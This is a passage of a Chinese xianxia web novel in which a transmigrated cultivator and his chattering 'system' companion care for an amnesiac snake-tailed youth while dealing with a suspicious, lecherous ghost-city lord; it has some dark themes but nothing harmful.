许是窗外的寒气侵袭,喻归泽将脸埋进薄被下,瑟缩成一团,从薄被边缘凸起部分可以看出下面是他的尾巴尖。
系统借助宋策的视角,看清宿主是如何将手伸进薄被拉出喻归泽的尾巴,之后那一小节尾巴又是如何缠住宿主的手腕。
喻归泽本能地攀附靠近宋策身上的体温,无意识地摩挲着他的手腕,将宋策的手一并拽进被子里盖好。
系统眼睁睁看着宿主和喻归泽拉扯了两个来回。
系统:“……”
“嗯……”
喻归泽眯着眼将脸探出被沿,眉头微皱地看向宋策的方向,他的脸仍旧泛着不正常的红色。
待他看清床沿的宋策,那双含着不满的眼眸转化成怯意,宋策的手也被他束缚地愈发紧。
喻归泽恍然意识到自己的尾巴正缠在宋策手上,下一秒他受惊一般猛地向后退去,但是由于紧张而忘记放开宋策的手。
宋策被他拉了一个踉跄,左腿膝盖磕在床板上。
“砰”的一声响,系统听到都觉得疼,他记得宿主有条腿在救喻归泽时受了些伤,希望不是左腿。
意识到自己的尾巴还缠着宋策的手,他迅速收走自己的尾巴,不顾宋策还在自己身侧,抓着被宋策压在腿下的被子往腰下盖。
系统见刚想起身站起的宿主被喻归泽再一次拉倒,有些慌张,他自己也不清楚在慌什么,也许是担心宿主暴怒,尽管他记得宿主情绪很稳定。
两人之间距离被迫拉近,喻归泽紧张地颤抖着眼睑,指尖抓紧身下被褥,脖颈处青筋跳动。
宋策突然把刀架在喻归泽脖子上,喻归泽停下手上动作瞪着宋策的眼睛,肩膀瑟缩但是还不忘把尾巴尖缓缓缩进被褥里,将被子拱成一团。
“别动。”
宋策看了眼喻归泽藏在被子下的尾巴,将目光转向他的眼眸,缓缓滑动刀片,沿着他光滑的皮肤来到他的脸颊,宋策能感觉到刀刃之下人的紧张和不解。
喻归泽眨着眼睛,伸手扣住宋策的手腕:“不行。”
“宿主别这样,你会吓到他的。”
“你看他像是怕我的样子吗?他脑子不清醒,你脑子也坏了?”
“宿主不要骂人。”
宋策没理系统的控诉。
喻归泽将宋策的手往外推,宋策顺他的意扔下刀却一把掀开喻归泽盖在腰身的被子,喻归泽惊慌地往后退,一条长尾不知所措地往身后的角落盘缩,他慌乱地推着靠近自己的宋策。
系统见喻归泽像是被宋策的动作吓得不知怎么办为好,半启唇颤动始终不说话,见推不开宋策,他愣愣地看着支在他身体上方的宋策。
宋策手抚在喻归泽的腰腹上,喻归泽张张嘴最终说出几个字:“你干什么啊?”
他赤红着脸,不知是羞耻还是生气,尾巴始终不安分地扭动,宋策一直盯着喻归泽被细碎粉色鳞片包裹的腰,指尖在鳞片上细细捻摸。
喻归泽僵硬着腰腹,左手按在宋策肩膀上,指尖泛白,圆睁着眼,眼眸中终于有些怒气。
少年人窄而有力的腰稍用力便会绷起流畅的肌肉线条,其主人下身包裹着绯色的鳞片,以下臀部为界限,腰和尾巴尖处越靠近下臀部绯色鳞片逐渐变大,随着主人在光下动作,鳞片闪动着晶莹的微光。
系统觉得这条尾巴是美的。
这时宋策并指抵住喻归泽肚脐上方半拳处,指尖微用力,灵气白光闪动,一处透着荧光的环状物体从宋策指腹下破出。
见此,喻归泽眸光微闪伸手先于宋策抓住飘至眼前的发光体:“这是我的。”
他连尾巴都忘记往身后藏,抓住东西的手向背后藏,不甘示弱地看向上方的宋策。
宋策缓缓起身,坐在床沿,不像刚才那样气势强迫,而是随性地理理衣袖,扬起唇角问一脸紧张的喻归泽:“我知道是你的,但你知道这是什么东西?”
闻言,喻归泽打开手心里的东西,展现在两人眼前的是一枚普通不能再普通的银色戒指,他左右翻看戒指,里里外外都毫无修饰。
“就、就是戒指啊”,他有些结巴地说完就将戒指按在腹部,但是戒指却不像刚才那样回到他的肚皮下,他疑惑地看向宋策,“为何不行?”
系统:“完了宿主,他脑子真坏了!”
喻归泽将戒指往自己肚皮上按压,白皙的肚皮被他按出一个又一个红印子,最后他泄气般看向无动于衷的宋策,皱着的眉宇似乎是在责怪宋策把他的东西拿出来,却放不回去。
无奈,喻归泽只能把戒指戴在自己的手上,爱惜地摸了摸,末了不忘拉起被子盖在尾巴上,团成一圈。
“宿主,他好像真不怕你哎?”虽然系统知道宿主没做过什么伤天害理的事情,但是系统总对自己绑定的宿主有些怪异的恐怖。
宋策好整以暇地看了一眼喻归泽,微微压低上半身:“我救了你一命,你送我一只戒指难道不可以?你知道原先那些人要对你干什么吗?”
“知道的,他们想把我卖给别人当奴隶。”他突然抬头看向宋策,白纱还围在宋策的脸上,血水未净,化成褐色,
“但是也不能给你这个戒指的。”他后半句的声音越来越小,似乎是有些愧疚。
“这个很重要,我不能给的。”说完他捏着被脚,低下头,长发从他肩膀落下,掩不住裸露的上半身。
“对,对不起,戒指很重要,不能随意给的”,他盯着宋策的脸似是下定决心一般,“以后我给你其他的,更好的。”
“是吗?”宋策收敛笑意。
见他不信,瑜归泽有些急切的解释:“这个戒指真的很重要”他皱着眉,连说几个“是”却始终不知说什么?
“是什么?”
喻归泽抿着唇:“我不记得,但是只记得戒指对我很重要。”
“要好好保管的。”
他抓着身下被褥,低着头,系统不忍:“宿主,可能这个戒指对他很重要。”
“不过就是个储物戒”,宋策起身走至窗台边看向外面,“我可不知道修复什么灵丹的办法,从他的储物戒里看看有没有秘法,可惜他不给我戒指。”
“那宿主可以试试晚上趁他睡觉偷来……”
“偷来的不如他亲自送来的”
宋策转身走近,弯腰看着喻归泽的眼,抬手,一直玉佩落在喻归泽眼前。
“把这个戴上。”
“我不要。”喻归泽捏紧手指,一只手按在戒指上。
“给你戴着,遮掩身上的气息。”
喻归泽抬起手臂疑惑地闻,抬眼:“没有味道的。”
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他强调:“不臭的。”
宋策将玉佩按在他的额头,语意淡淡:“你闻不到,但我不喜欢。”
喻归泽拿起玉佩细看,圆形镂空雕花,原型玉佩中心雕镂着一条蛇,他伸手抚摸着指下花纹。
“以后在外有人问起来,自称蛇类妖,知道吗?”
莹润的质感在手掌中微凉,喻归泽多次抚摸花朵纹路中心的蛇纹,眨动眼睛,微顿点头应下。
“虽然现在没有办法修复灵丹,但宿主可以帮助他梳理静脉的。”
即使不比修复灵丹生命值长得快,但是对维持宿主生命值也是有一点作用的。
昨晚给喻归泽输送灵力时,检查出喻归泽的灵脉完整,静脉紊乱,需要调理疏解。
至于系统一直强调的灵丹,他能感受到喻归泽身体里不同于灵脉波动的灵气,是属于灵丹蕴含的力量。
灵丹虽有裂痕,但不至于不可修炼。
宋策冷淡地撇下书册:“先等等吧,我可没那么多灵力帮助他修炼。”
昨夜宋策不知道为喻归泽输送了多少此灵力,他现在需要休息。
宋策为了避免麻烦直接把再次睡着的喻归泽锁在屋子里,在外面布下结界,暂且如此防范。
*
“大人,大人?”
青面鬼站在一边打断了宋策的思绪。
“您看这卷文书中记载的阵法。”
“不过是基础阵法,用我原先我教你的方法自己把这个残卷补齐。”宋策将青面鬼递来文书扔进他怀中。
“自己去琢磨。”
青面鬼躬身抬眼查看几眼宋策的脸色,唇角蠕动,一双吊梢眼露出几分怯懦,终究是忍住没说话退下。
“宿主,他都来了好几次了。”
“一个类型的阵法稍微变一下就不会,真是……我不懂……”宋策话语中有不解亦有嫌弃。
系统记得青面鬼都来了五次了,宿主只是和他说了几句话,也没管青面鬼听不听得懂。
“也不是所有人都和宿主一样悟性高的。”系统觉得青面鬼在黑风鬼的手下中还算的上是比较有慧根的也是比较勤勉的,但是和宿主还是不能相提并论。
“我和他说过的要点,他自己不会用和我有什么关系,这点东西还要我手把手教他吗?”
半晌,宋策搁置下朱笔,举起纸张对照,面色稍和缓,但眉头仍旧皱起,似乎对手中符箓仍有些不满意。
他把黄符挥向空中,迅速结印,一道金光随着符纸上朱色痕迹流动,但一瞬火光轰然炸裂,宋策立即从案桌跃起,只见火光顷刻之间烧尽案桌,宋策随即扔出一道避火符和御水符,霎时间在火势没有蔓延到其他地方时灭尽火光。
巨大的炸裂声吸引来门外的仆从,他们探着头往里看,只见他们的宋大人脸色沉静,灰色衣袍被火燎破一角。
“都散了。”青面鬼吩咐外面看热闹的小妖离散。
他立在一边,暗自看了一眼被烧毁的符,低头躬身退下。
“宿主别急,改进符箓可能本就不太容易,一次两次失败也是正常的。”
系统知道宋策设计这个符很多次了,前几次使出只是普通火符效果,有时干脆连火都使不出来。
“这种符御火时间长,威力较之于普通火符更大”,他捏着被熏黑的指尖调侃,“是我的灵力不足以维持符箓运转。”
“这次符箓是对的,是我发挥不了它的作用。”
他起身撩袍,着看向青面鬼离去的背影,嘴角浅笑:“这符让青面鬼试试或许都比我使出来的强。”
“对不起,宿主。”
6. 第五章
雪色未消,寒气缭绕。
宋策穿过一片竹林,绕过一条蜿蜒石子路,入眼是一扇柴门。
“宿主,我觉得下次不能让他一个人待在这里,要是他偷跑出去遇到危险怎么办?”系统有些心焦,在他已知的档案资料里,喻归泽在修道方面算是宿主的前辈了,虽然他现在不记得事情。
宋策推开门扉,脚步踩在积雪上发出“嘎吱嘎吱”的声响:“遇到危险?”
宋策嗤笑:“死了任务就失败,还能怎么办?”
“……”
房屋掩盖在院落里,他结印掐诀,眼前三间木屋缓缓浮现。
喻归泽裹着被褥坐在门内看向门外,见到宋策走近,他眼前一亮笑着朝宋策招手。
“脸比雪白。”宋策面色沉静,觉得自己昨夜输送的灵气都浪费了。
“你去哪里了?”他扶着门框艰难的站起,翘起发白的唇笑着问宋策。
“问我要衣服穿,就是为了现在坐在这里吹风?”宋策拽着喻归泽的衣领将他往门内拖。
“等等,我可、可以自己走。”喻归泽站在床前,按着胸口喘气,系统看着都觉得喻归泽一口气上不来就要过去了。
喻归泽身上唯一的黑色破布袍子被宋策嫌弃地烧了,喻归泽只能穿宋策的衣服,宋策的劲装多,喻归泽身上穿着宋策唯一的长袍,衣袂堪堪拖至地上,遮住部分尾巴。
“别咳死了”,宋策放下手中卷文,神情冷漠,“我没那么多丹药喂你。”
“我、咳咳咳……你……”喻归泽身形摇晃,扶着床榻的指尖泛白,声音沙哑。
宋策递过去一杯水,喻归泽缓慢坐下接过水杯小口喝着,待缓过来才道:“水凉了。”
“将就喝。”
喻归泽抬头看着宋策,眼神中满是小心翼翼:“我好饿,没东西吃。”
宋策拧眉。
“宿主,他现在修为尽失,和一个普通人没两样的”,说完系统偷看宋策的脸色补充,“我看过宿主的资料宿主是会烹饪的。”
“你倒是会慨他人之慷。”
宋策施施然坐下,扔给喻归泽一个小小的瓷瓶:“饿了就吃一粒,一粒饱三天。”
说完宋策转身离开,不忘吩咐满脸委屈的喻归泽:“把门关上,自己躺在床上休息,没事别来烦我。”
“等等……”喻归泽想追上来,但是宋策离开之后顺势一阵风关上了木门。
“宿主,你不和他在一个屋子吗?”
“怎么?你想和他一屋?”宋策不想炼丹炉再被打翻一次。
夜色已至,雪花顺着门缝飘进屋内化成几滴水色。
“宿主,没动静,你去看看啊。”系统看着宋策气定神闲的样子,内心如火灼烧一般焦躁不安。
宋策笔锋微转,一道符箓完成,他举起黄符对着烛火:“你能不能别吵?”
“不是啊宿主,你昨天才把他带回来,他身上伤还没好,你在他身边照看一下对你的生命值也有好处呀。”系统觉得对宋策晓之以理,动之以情还是有作用的。
“而且,宿主你想啊,今天你也看到,他都快站不住了,要是他晚上从床上滚下来岂不是都爬不起来。”
“我看那是他自己冻得。”宋策将手中黄符放在一边,拿起朱笔接着下一张,显然没有将系统的话放在心上。
“你最好别吵。”
“可是,宿……”
“现在你多说一句,我早上就迟一个时辰去看他。”系统闻言立马禁声。
弯月西沉,夜色愈深。
宋策将从城主府上带出来的黄符都处理完后,起身打开一侧窗户,窗外还落着雪,雪花翩然飘进窗内,几片细小的雪花落在宋策的衣袖上。
他看向一侧的木屋,门窗紧闭,烛火尽灭。
他叹了口气,口中雾气飘出窗外,宋策转身拿着桌子上的灯盏推门而出。
昏黄的灯光照进黑暗中,宋策看清屋内场景。
喻归泽裹着被子瑟缩在一角,身上的衣袍未脱,手中紧紧捏着宋策给他的瓷瓶,宋策推门进来时他像是没注意到一般,他神色未变,眸色中毫无情感波动,只是目不转睛地盯着一处。
“宿主,你蜡烛都没留给他。”系统小声辩驳,生怕自己说话让宋策厌烦。
宋策拿着蜡烛靠近喻归泽,烛光晃动,喻归泽没有反应。
“又发烧了?”宋策伸手搭在喻归泽的额头,手下一片灼热。
“哪里难受?”喻归泽的视线跟着宋策手中的烛火转动,对宋策的问话没有答应。
看着有些不正常的喻归泽,宋策微皱眉,伸手抬起喻归泽埋在尾巴里的脸颊,喻归泽呆愣地随着他的动作抬头,宋策拿着烛火靠近他的眼睛,喻归泽盯着烛光,眼瞳中似乎没有宋策的身影。
“怎么办?怎么办?他这是怎么了?怎么办?”系统彻底慌了神。
宋策放下手中灯盏,跪坐在喻归泽身侧,掐着他消瘦的脸颊,轻点他身上几处穴位,迅速掐诀向喻归泽输送灵力,稍时喻归泽惨白的脸色才有所缓和。
宋策企图拽开喻归泽身上的被子拉他起身,但是终于有些反应的喻归泽突然加大了抓住被褥的力气。
“你、你怎么总是掀我被子?”他仿佛刚醒一般缓缓转动眼珠看着宋策的手,面无表情的脸上终于有了些神色。
“发热了?”宋策松开手,摸了摸他的脸,还是有些烫,“你怎么回事?”
“你今天出去是不是遇到了不好的事情?”喻归泽扭头躲开宋策的手,反问宋策,“衣服都被烧破了。”他伸手捡起宋策拖在床上的衣服。
宋策收回扶着喻归泽身体的手,将喻归泽拿在手上的衣角抽回。
“咕咕咕……”
宋策扬眉,将视线转向喻归泽的腹部:“你没吃
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?”
喻归泽手部按在肚子上,抬头看着宋策,眼神尤有不解和谴责:“你白天走那么快做什么?我没吵、没闹,你是在生我气吗?”
“生你什么气?”,宋策拿起落在床头的白色瓷瓶转问喻归泽,“刚才你怎么回事?”
喻归泽低头,长发散在被褥上:“做噩梦,醒了之后就会这样。”
宋策眉心微跳:“做什么梦?”
“不记得,只记得很黑,我不喜欢睡觉。”
他接着说:“我不想吃那个,我想吃你烧的东西。”
他将头低的更低,几乎趴在尾巴上:“我舔过一口,没有味道。”
“你没有留蜡烛给我,屋子里很黑,和梦里一样。”他说话声的越来越低,但宋策还是听得见喻归泽沙哑的声音。
“宿主你看,我说吧还得是你。”系统觉得自己白天说的很对,但是宿主没理他。
“你没看出他在装可怜?”宋策低眉扫了眼喻归泽手上银白色的戒指,捻捻指尖微微叹气。
“明明不是好吗。”系统不敢吐槽。
……
“还好宿主你厨房里还有青面鬼送来的肉,不然这深更半夜从哪去找东西煮给他吃。”系统觉得宿主这徒弟收的挺不错的。
“你怎么不吃?”喻归泽喝着豁口碗中的汤。
“不饿。”宋策冷漠地坐在喻归泽对面准备起身收拾桌子上的东西。
“他都吃辟谷丹吃饱了。”系统暗自补充。
“你吃一点啊。”喻归泽咽下口中香味浓郁的肉汤,将剩下的推到宋策面前,“你吃。”
宋策压低眼睑拿着刀背敲了敲桌角:“快点吃,吃完去睡觉!”
宋策打断喻归泽想说话的势头:“喝不完,我把你连人带碗筷丢到雪地里。”
喻归泽止住喉咙中话语,埋头吃肉喝汤。
沉默的气氛溢满整个厨房,系统能感觉到宋策的不耐烦和恼火,方才宋策想点火起炉灶,但是柴火都潮湿难以点燃,无奈宋策用了好几张火符。
潮湿的柴火遇火总是冒着浓烈的黑烟,宋策被熏的眼露血丝。
中途喻归泽和系统都作势算了,但是宋策似乎就和那个柴火较劲一样最终才搞出一小锅肉汤。
“我吃完了。”
喻归泽坐在桌边,抬头看清宋策一只眼中的疲惫,语气有些愧疚:“碗筷我来收拾吧。”
喻归泽起身拿走宋策手中的刀和砧板,把碗筷放在锅中。
宋策拧着眉将他拉至门外,“天亮再收拾,现在回去休息。”
“我想和你一间屋子”,喻归泽长尾站立在雪地里,眸中微光闪动,语气轻缓似乎在和宋策打着商量。
“可以吗?”
“宿主,你就和他一间屋吧,他若是又做噩梦宿主你也要管他的,不如直接在一间屋子里照看。”
“闭嘴……”
7. 第六章
“宋策,你来。”堂前空旷,黑风鬼坐在高台举着手中的酒杯,眯着眼看向宋策。
宋策领着身后端着托盘的侍女走近,躬身行礼:“流沙城区的事小人已经处理完毕。”
宋策走上前将手中卷轴递交给黑风鬼身侧的侍从。
那侍从谄媚一笑跪伏在地,恭恭敬敬地将卷轴举上头顶递交给黑风鬼。
黑风鬼打开卷轴随意扫了几眼将它扔在一边,他脚边的侍从战战兢兢地膝行退让,眼神却瞥向宋策的方向。
“我们宋大人办事,向来让我放心”,他笑着说,“玉婪,你说对不对啊?”
跪伏在地的人始终未抬头,闷声,语意中掺着奉承:“宋大人足智多谋,能力卓越,自然能为城主大人分忧解难。”
黑风鬼哈哈大笑走下高堂,他浑浊地眼瞳微微转动,上下打量着弯腰行礼的宋策,语气详装疑惑:“伤了一只眼睛?”
“流沙城区虽地理位置得天独厚,但灵气最浓厚纯粹的中心位置不易摆设天坛修炼”,宋策微微抬起身体,眉下伤痕渐渐显露,“这眼睛正是被那难以控制的灵气所伤。”
闻言,黑风鬼脸皮舒展,眼瞳缩成针尖大小:“起来吧。”
跪在身后的几人都利索地站起,宋策缓缓抬起身体,黑风鬼定睛看着宋策的脸:“这么说流沙城区不利于摆阵?”
“确实如此,与我随行几人皆可作证,如实汇报。”
宋策左眼眶中空无一物,上下眼皮上合起来有一道完整伤痕,皮肉拉拢下来,即使宋策睁开眼睛,左眼眼尾处仍然向下垂落,旁人看着定是感觉怪异恐怖,但是黑风鬼却走近几步。
他微微压低小山似的身体拍拍宋策的肩膀,浑浊的眼盯着宋策的眼睛:“我们宋大人向来衣冠齐楚,矩步方行,今日怎的穿了件破衣裳?”他左右查看,嬉笑,“怎么还像是被烧破的?难不成宋大人还和三年前一样烧着炉子,吃着大锅饭?”
宋策勾唇微笑,低头回礼:“小人昨日运转灵力驱动火符时被燎破了衣角,劳烦城主关心,下次小人定避免在堂前失仪。”
“哈哈哈哈哈哈”,黑风鬼仰着头大笑,“看看看看,玉婪,我们宋大人真会玩笑,三年来做事向来滴水不漏的宋策也会被区区火符伤到。”
“大人过誉,人无完人。”宋策将腰弯的更低。
系统觉得自己快要火冒三丈:“宿主,你为什么不提前把衣服换了?他明明就知道你昨天用火符烧了案台,他就是找准机会嘲讽你!”
系统叽叽喳喳愤愤不平:“一件小事都要联合他那个狗腿子一起嘲笑你,他是不是忘了谁帮他炼丹修阵?”
黑风鬼走至宋策身后,拿起侍女托盘上的盒子,问宋策:“这一批都是你炉子里新出的?”
“小人去往流沙城区之前将药材入炉,走后吩咐下面人照看丹炉,昨日才开炉,大人若不放心,可等候几日,小人再奉上亲自炼出的丹药。”
“他忌惮你又想吃你炼的丹药,真是什么好事都让他占了。”系统借着第三视角狠狠地瞪着黑风鬼,要知道自己的宿主都没时间炼丹治疗喻归泽身上的伤,还要每天待在城主府给他看炉子,这黑风鬼还不放心宿主,时不时都要打探宿主的动向。
“哈哈哈哈,既然是宋老弟入的药材自然没有问题”,他将手中丹药放在鼻下轻嗅,随后递给宋策,“宋大人劳顿,这天材地宝炼出第一颗丹药应当由宋大人享用。”
“不会有毒吧,谁知道宿主你走了之后炼丹炉有没有被他动手脚,这天杀的狗东西!”系统的不满阻止不了宋策,他平静地接过黑风鬼满脸笑意递来的黑色丹药。
“谢大人赏赐。”宋策接过药后面不改色地直接吞吃入腹,不忘提起嘴角弯腰谢礼。
看着宋策的动作,黑风鬼抚掌叹笑,走上高堂,待他落座,周围环绕的莺莺燕燕都聚上来,在黑风鬼身边为他推杯换盏,玉骨柔情。
“听闻宋老弟最近在屋子周围设下阵法,旁人不得进入,难不成藏着什么宝贝?旁人不得入眼?”他按下手边一个美人落至桌下,不过几息时间传来晦涩声响。
“这狗东西怎么没脸没皮的。”系统觉得没眼看眼前的场景,难以想象宿主这三年是如何忍受一个神经病的。
“小人陋室三间,哪有什么宝贝,不过前几日在流沙城区随手救下了一只未开化的蛇妖,劳烦阁主费心。”
“没开化的蛇妖?”
黑风鬼瞥了眼恭敬站在一旁玉婪,玉婪江头低的更低。
“蛇妖大多美艳,不过瞧着几分可人,寻来逗趣罢了。”宋策抬眼看着黑老大那双浑浊淫邪的眼睛,长身而立,语气恭敬但不显怯意。
“原来是金屋藏娇啊。”
听着黑风鬼这没头没脑的话,系统都觉得不好意思:“三个破屋子哪有什么金屋?”
“本座赏赐你的那些美人都没瞧上,原来还是要自己喜欢的才有趣。”
这时,在系统看来黑风鬼像是突然发了癫一般猛地拉起他腿下的妖奴,被掐住的妖奴的脖颈转向宋策,那面色通红的妖像是快要窒息了一般,嘴角还泛着水色,眼神恍惚迷离地被黑风鬼拍了拍脸。
“你说的是这种蛇妖吗?”随着黑风鬼的动作,妖奴像是得了指令一般顺从地幻化出一条黄白相间的蛇尾摇曳拖至台阶下。
宋策敛眉低头回复:“蛇妖美艳,大多滋味相同。”
“哈哈哈,宋策啊,你真是越来越像鬼城人。”黑老大仰头笑了几声,话语意味不明,他话锋一转,“这样说我更要看看什么样的美人把我手下最得力的宋大人迷成这样。”
宋策勾唇露出一丝笑意:“待他熟悉了鬼城的环境,我带他来见城主大人,谢过城主庇佑。”
闻言黑风鬼舒缓神色:“那是自然,那是自然,哈哈哈哈,我放心。”
宋策掩盖在衣袖之下手指无意识地碾磨。
……
“这个黑风鬼就是个疯子,疑心病那么重”,系统有些不放心地问宋策的意思,“宿主,要是他见到喻归泽向你讨要怎么办?”系统看着那满脸淫邪的黑风鬼就觉得想吐。
“他男女雌雄不忌,若是看上了……”
“啊,那怎么办?”系统心急如焚,若是黑风鬼硬要强喻归泽,宿主肯定不是他的对手,“宿主能把喻归泽变丑一点吗?这样那个狗东西就看不上了吧?”
“蠢东西……”宋策推开围栏的木门,走入院子内解开术法。
“哎?什么蠢东西?”系统反应过来惊喜地问宋策,“宿主是有办法对吗?我就知道宿主不会让这种事情发生的,对,肯定是我想太多了!”
昨夜宋策
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歇在喻归泽的屋子内,此刻他的屋子门露出一条缝隙,宋策转向自己的屋子,果然门敞开着。
听到宋策的脚步声,喻归泽从宋策屋子里探出头,一脸神秘地抿着唇笑,眉眼弯弯,系统也看的出喻归泽今日的神色要好上不少,脸颊处透出几分血色。
“你过来,过来。”喻归泽向不远处看向自己的宋策招手。
“你猜我在你房中发现了什么?”喻归泽捧着自己的衣袖,他眼中闪着微光,嘴角荡漾着笑意。
他仔细地打开卷起的衣袖,宋策顺着他的指示看清衣袍之下的东西。
“什么啊?两个蛾子?”系统有些不理解。
飞蛾在喻归泽衣袖里侧缓缓扇动着灰色的翅膀,小儿巴掌大的飞蛾翅膀上勾勒着圆形的黑色花纹,但是看上去还是平平无奇,毫无特色。
“我进入你房中时就看到它们俩落在你的案桌上,我一伸手他们就飞到了我的尾巴上”,他举起手抖落飞蛾飘忽几圈果然落在喻归泽露出来的尾巴上,“你看,它们是不是很喜欢我?”
喻归泽惊喜地将目光转向宋策:“这个是你养的吗?”
“宿主,这两个是不是你从流沙城区带回来的?飞蛾破茧了正好被他看到了,这两个小东西还挺喜欢喻归泽的,感觉很有灵性啊。”
“灵性?你没看到他那条尾巴发着微光?他在成年过渡期体温比常人高,雪天这两个东西倒是聪明,知道往他身上飞。”宋策冷漠打断系统天真的想法。
宋策将手上的东西扔到桌子上,转身坐在一边:“东西在里面自己吃。”
喻归泽走到宋策身边打开包裹,看见里面的东西眼中眸光闪动:“你从外面带回来的?”
“今天晚上再说饿你就自己睡。”
喻归泽打开还冒着热气的吃食,眼中目光如水流转,他指尖有些局促地揪着布袋:“你又不吃吗?”
“吃完把东西放到厨房里。”
宋策走到床边柜子处,打开床柜果然柜子旁边的小匣子里只剩下两个空壳,里侧的东西破了茧。
他指尖微动,灵气化成的火光烧尽余下的壳,匣子里落下灰烬,宋策拿着匣子随手倒在窗外。
……
“飞蛾吃什么?你平常是怎么养它们的?”
“不知道。”
“你下次回来可以带一些米吗?他们吃米吗?”
“不清楚。”
“那你下次能带我出去吗?我不给你添麻烦。”
“不可以。”
“你叫什么名字啊?以前被人关着时我听见别人都互相有称呼的,我该叫你什么?”
喻归泽裹着被子躺在床上看向坐在案桌边的宋策,眼中毫无睡意。
“宋策。”
“宋策……我没有名字,或许有,但我不记得了……”他的语气有些低沉。
“喻归泽,你的名字。”
他皱着眉毛稍作思考像是在回忆,稍后却笑了:“喻归泽,你帮我取的名字吗?那以后我就叫这个。”
“再吵,我就把你扔出去,或者你自己睡。”
宋策“啪”地搁置下朱笔,目光转向床上的喻归泽,眸中是抑制不住的不耐烦。
喻归泽顶着宋策不善的眼神,尾巴在被褥中不自觉地蜷缩,半晌憋出几个字:“我没吵。”
8. 第七章
“宿主,这个册子破烂的都快看不清字迹了,是残卷吧?”
宋策坐在案台边仔细地翻看手中破旧的书册,书册有些字迹模糊看不清,后半部分已经被撕掉了。
“咦?宿主这张里面的图画和喻归泽手上的那两只飞蛾好像,翅膀上的花纹都如此相似。”系统很惊奇,他的能量完全不够用,就连基本的扫描识别文字都做不到,只能看懂书上的图画。
宋策没空搭理系统的惊叫和疑惑,他翻过几页,停留在一张泛黄破旧的页面,上面只有文字,图画一边已经破碎模糊,宋策指尖摩挲在纸张褶皱皲裂处,低眉不语。
“宿主,你都认识这些字吗?你才来五年,神州大陆的字都认识了?”
“如果没有话说就不要找话说。”
宋策合上书册,抬头便发现喻归泽坐在床沿边看着自己,他用书脚敲敲桌沿:“又怎么了?”
“你今天不出去吗?”
宋策站起身来到窗户边,竹竿撑起窗户让阳光照射进屋子内,院子里的雪都化了些,蓬松的雪堆塌陷僵硬,人走在上面都要打滑。
“你喝完药我就出门。”他转身看向喻归泽,只能看到喻归泽的发顶。
或许是长期营养不良或是其他原因,喻归泽身形消瘦纤薄,就连头发都有些枯黄干燥,他整个人看上去就像是秋天病恹恹的枯草,一掐便断。
宋策知道喻归泽想说什么,他想和自己一同出门。
即使知道宋策不会带他出去,但是这一定是喻归泽每天必问的事情。
喻归泽的视线跟着宋策移动,看着他走到自己身侧坐下,两人间隔一臂距离,他很自然地伸手:“有时候还会感觉燥热难受,胸口发闷”,他另一只手按在下腹部,“这里还会隐隐作痛。”
宋策按在他的静脉处,将灵气输送到他的体内,为他疏导灵脉。
不过一炷香的时间,宋策的脸色有些苍白,喻归泽将手抽离:“不用了,今天已经够了”,他低头隔着布料搓搓自己的尾巴,“也不用每天为我这样,有时候我忍忍就好了。”
“坐近一些。”宋策视线移向喻归泽的下腹部。
喻归泽眨了两下眼睛,没有起身,双手撑着床板向宋策位置挪动自己的身体,尾巴随着他的动作在地板上拖动。
喻归泽看见自己长长的尾巴从衣袍下伸出占据了本就局促狭小的空间,他有些不好意思地卷缩尾巴缩在床脚边,不料尾巴尖蹭到宋策的小腿。
在这沉默的气氛下,系统看见喻归泽的脸皮肉眼可见地涨红,喻归泽迅速把尾巴缩到床下,一阵风过般喻归泽下半身的长袍空荡荡的在床沿边晃动,他手上动作僵直无措,最后双手各自按在自己的身侧,扣紧床板。
宋策见此作为,眉头微皱,只得自己拉进两人之间剩余的距离,伸手放在他的下腹部,四指合拢下按:“这里疼?”
喻归泽腹部突然紧绷,挺着小腹任由他检查。
“现在按着不疼,有时候会。”
宋策按住喻归泽的肩膀,将他的身体摆向面对自己:“对着我,别动。”
“宿主,这里是不是他存有灵丹地方?他的灵丹问题是又严重了?”系统知道宿主每天为喻归泽检查身体时都会刻意检查他的丹田处。
“灵丹有裂痕,偶有疼痛也是正常的。”
“好了吗?”时间久了,喻归泽有些不舒服地缩了缩肚子,宋策这时却将手指点在他胸口。
“这里发闷,疼不疼?”
“开始几天有些疼,这些天就发闷发热。”
宋策扫了眼喻归泽有些单薄的衣服,收手起身:“自己去把厨房里的药喝了,现在应该不烫了。”
喻归泽起身移动一段距离还是回头看了眼宋策:“还有糖吗?糕点也行……”
“你自己昨天晚上吃完了。”宋策瞥向摆在桌子上的油纸,上面还有些碎渣。
“明明是你带的太少了……”
买糕点的起因是因为宋策懒得为喻归泽生火烧饭,随意在集市买了一袋糕点当做吃食,后续是喻归泽不厌其烦地央求宋策为他带不同的小吃,否则晚上喻归泽即使吃饱了也会闹。
喻归泽的闹不是无理取闹的吵闹,他发现宋策不喜欢别人打扰他看书画符修炼,他就坐在一边目不转睛地盯着宋策,还自圆其说是陪着宋策。
宋策只能用自己发放的灵石为他买这买那。
系统
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目送喻归泽离开后:“宿主,他的身体这些天是不是恢复的差不多了?”
“身上的小伤基本痊愈,灵脉有所恢复,修炼应当是没有问题了。”
“宿主的意思是要教他修道吗?”系统很欣慰,他觉得自己的宿主是在往完成任务的康庄大道上走,完全不用自己操心,宿主已经做的很好了。
宋策坐在案桌边,他的手拨弄着两个瓷杯,轻轻碰撞发出悦耳的声音:“修道?”他的嘴角微微勾起,眼瞳中映照出手掌中翻转不稳的瓷杯,“对啊,先疏通他的灵脉,然后教他修道。”
……
“大人,这是玉婪大人派人送来的单子,城主所要丹药皆列在其中,请大人过目。”青面鬼递过单子退至一边。
“这个狗东西真把你当做九九六打工人啦,他是不是疯了,这么些丹药要炼到什么时候?”看着长至拖到宿主脚边的卷轴,系统在宋策耳边骂黑风鬼骂个不停。
“这么多,他也不怕吃死!”
系统是知道黑风鬼手下有不少追随的人,那些人并不是因为敬慕黑风鬼,有些为了能在黑风鬼手底下讨一杯羹有些是被迫困在鬼城。
宋策只是他的炼丹师之一。
“玉婪是把他的那份都列给我了吗?”宋策指尖停留在一味丹药处,随即拿起手边的尖刀将卷轴割成两断。
“这一半自己挑会的炼,不会的来问我”,宋策俯看青面鬼稀疏的头顶,意味不明,“也可以交给自己信得过的人练练手。”
青面鬼低头不语,接过宋策扔过来的一半清单:“多谢大人抬举。”
宋策从案桌上的书册里抽出一张纸交给青面鬼:“按照这个到药室里拿药材给我。”
宋策卷起卷轴拍拍青面鬼的青灰色死尸般的脸,一抹戏谑的笑意挂上他的嘴角:“头脑放聪明点,我知道你不是蠢货。”
青面鬼触碰到纸张的手指稍稍蜷缩,接过:“是,大人。”
